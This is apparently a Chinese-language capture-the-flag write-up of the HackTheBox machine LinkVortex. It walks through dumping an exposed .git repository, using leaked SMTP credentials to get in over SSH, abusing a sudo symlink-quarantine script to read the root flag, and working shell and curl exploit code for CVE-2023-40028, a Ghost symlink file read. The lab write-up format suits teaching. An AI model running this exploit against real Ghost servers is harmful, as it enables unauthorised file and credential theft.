LinkVortex
需要先把 linkvortex.htb 加入 /etc/hosts
List dir
成功存取 .git 我們就可以把 git dump 下來還原出整個站的 repo

Exploitation

- /var/lib/ghost/config.production.json 的作用
- 配置 Ghost 應用的生產環境。
- 定義應用程序的關鍵參數,例如:
找到 SMTP bob 的帳號密碼
ssh 過去就可以拿到 user.txt
Get root.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| #!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then CHECK_CONTENT=false fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then /usr/bin/echo "! First argument must be a png file !" exit 2 fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then LINK_NAME=$(/usr/bin/basename $LINK) LINK_TARGET=$(/usr/bin/readlink $LINK) if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !" /usr/bin/unlink $LINK else /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine" /usr/bin/mv $LINK $QUAR_DIR/ if $CHECK_CONTENT;then /usr/bin/echo "Content:" /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null fi fi fi
|

我們想讓這個 .sh
cat 出 root.txt 的content 所以就按照上面的設定;Symbolic link 在移動時會印出檔案內容
- Flag.txt 的權限會是 bob,bob 再
ln -s /home/bob/flag.txt flag.png
Pwned

CVE-2023-40028
CVE-2023-40028 存在於 Ghost@5.59.1 版本之前的版本中。 該漏洞允許經過身份驗證的用戶上傳符號連結(symlink)文件,從而可能導致對主機操作系統上任意文件的讀取。
genrate_exp1 2 3 4 5 6 7 8
| function generate_exploit() { local FILE_TO_READ=$1 IMAGE_NAME=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 13; echo) mkdir -p $PAYLOAD_PATH/content/images/2024/ ln -s $FILE_TO_READ $PAYLOAD_PATH/content/images/2024/$IMAGE_NAME.png zip -r -y $PAYLOAD_ZIP_NAME $PAYLOAD_PATH/ &>/dev/null }
|
FILE_TO_READ=$1
function 參數 1- 建立 要讀取檔案的 symbolic link
zip -y
保留 symbolic link
Get user cookie and send1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
|
curl -c cookie.txt -d username=$USERNAME -d password=$PASSWORD \ -H "Origin: $GHOST_URL" \ -H "Accept-Version: v3.0" \ $GHOST_API/session/ &> /dev/null
if ! cat cookie.txt | grep -q ghost-admin-api-session;then echo "[!] INVALID USERNAME OR PASSWORD" rm cookie.txt exit fi
function send_exploit() { RES=$(curl -s -b cookie.txt \ -H "Accept: text/plain, */*; q=0.01" \ -H "Accept-Language: en-US,en;q=0.5" \ -H "Accept-Encoding: gzip, deflate, br" \ -H "X-Ghost-Version: 5.58" \ -H "App-Pragma: no-cache" \ -H "X-Requested-With: XMLHttpRequest" \ -H "Content-Type: multipart/form-data" \ -X POST \ -H "Origin: $GHOST_URL" \ -H "Referer: $GHOST_URL/ghost/" \ -F "importfile=@`dirname $PAYLOAD_PATH`/$PAYLOAD_ZIP_NAME;type=application/zip" \ -H "form-data; name=\"importfile\"; filename=\"$PAYLOAD_ZIP_NAME\"" \ -H "Content-Type: application/zip" \ -J \ "$GHOST_URL/ghost/api/v3/admin/db") if [ $? -ne 0 ];then echo "[!] FAILED TO SEND THE EXPLOIT" clean exit fi }
|
- 拿到 admin 的 session
- POST 傳送 symbolic link 的 zip file
curl -b cookie.txt -s $GHOST_URL/content/images/2024/$IMAGE_NAME.png
- 附上 cookie 請求 Symbolic link 的 image 實體